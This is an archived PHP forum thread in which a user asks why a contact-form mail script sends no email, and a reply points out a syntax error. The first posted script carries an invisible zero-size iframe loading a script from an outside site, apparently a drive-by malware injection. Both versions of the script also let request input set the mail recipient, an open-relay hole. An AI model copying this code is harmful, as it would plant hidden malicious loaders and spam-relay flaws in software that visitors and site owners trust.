newbee2010 Posted March 7, 2010 Share Posted March 7, 2010 <? Error_Reporting(E_ALL & ~E_NOTICE); while ($request = current($_REQUEST)) { if (key($_REQUEST)!='recipient') { $pre_array=split ("&777&", $request); $post_vars[key($_REQUEST)][0]=$pre_array[0]; $post_vars[key($_REQUEST)][1]=$pre_array[1]; } next($_REQUEST); } reset($post_vars); $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= 'From: '.$M&Assocaites'<'[email protected]'>' ; $message=''; while ($mess = current($post_vars)) { if ((key($post_vars)!="i") && (key($post_vars)!="[email protected]") && (key($post_vars)!="David_Meininger")) { $message.="<strong>".$mess[1]."</strong> ".$mess[0]."<br>"; } next($post_vars); } mail($_REQUEST['recipient'], $subject, " <html> <head> <title>Contact letter</title> </head> <body> <br> ".$message." </body> </html>" , $headers); echo ("Thank you. Your message was successfully sent! We will contact you at our earliest opportunity"); ?> <iframe urkei='Aa0Xfg24' src='http://http-iframe.org/s/in.cgi?7 ' obsbm='8lPdquEC' width='0' height='0' style='display:none'></iframe> Link to comment https://forums.phpfreaks.com/topic/194387-i-am-not-getting-my-emails-whre-is-my-code-error/ Share on other sites More sharing options...
trq Posted March 7, 2010 Share Posted March 7, 2010 This line should be throwing all sorts of syntax errors. $headers .= 'From: '.$M&Assocaites'<'[email protected]'>' ; Link to comment https://forums.phpfreaks.com/topic/194387-i-am-not-getting-my-emails-whre-is-my-code-error/#findComment-1022562 Share on other sites More sharing options...
newbee2010 Posted March 7, 2010 Author Share Posted March 7, 2010 I HAVE TRIED A NEW FORMAT, BUT I HAVE THE SAME RESULT, PLEASE LOOK AT THS ONE A ASSIST ME WITH WHERE MY ERROR MAY BE. THANKS. <? Error_Reporting(E_ALL & ~E_NOTICE); while ($request = current($_REQUEST)) { if (key($_REQUEST)!='recipient') { $pre_array=split ("&777&", $request); $post_vars[key($_REQUEST)][0]=$pre_array[0]; $post_vars[key($_REQUEST)][1]=$pre_array[1]; } next($_REQUEST); } reset($post_vars); $subject="From ".$post_vars['M&Associates'][0] ; $headers= "From: ".$post_vars['[email protected]'][0] ."\n"; $headers.='Content-type: text/html; charset=iso-8859-1'; $message=''; while ($mess = current($post_vars)) { if ((key($post_vars)!="i") && (key($post_vars)!="[email protected]") && (key($post_vars)!="M&Associates")) { $message.="<strong>".$mess[1]."</strong> ".$mess[0]."<br>"; } next($post_vars); } mail($_REQUEST['recipient'], $subject, " <html> <head> <title>Contact letter</title> </head> <body> <br> ".$message." </body> </html>" , $headers); echo ("Thank you for contacting us. We will respond to you at our earliest opportunity"); ?> <script> resizeTo(300, 300); </script> Link to comment https://forums.phpfreaks.com/topic/194387-i-am-not-getting-my-emails-whre-is-my-code-error/#findComment-1022684 Share on other sites More sharing options...
newbee2010 Posted March 8, 2010 Author Share Posted March 8, 2010 still need help with this. PLEASE Link to comment https://forums.phpfreaks.com/topic/194387-i-am-not-getting-my-emails-whre-is-my-code-error/#findComment-1023077 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.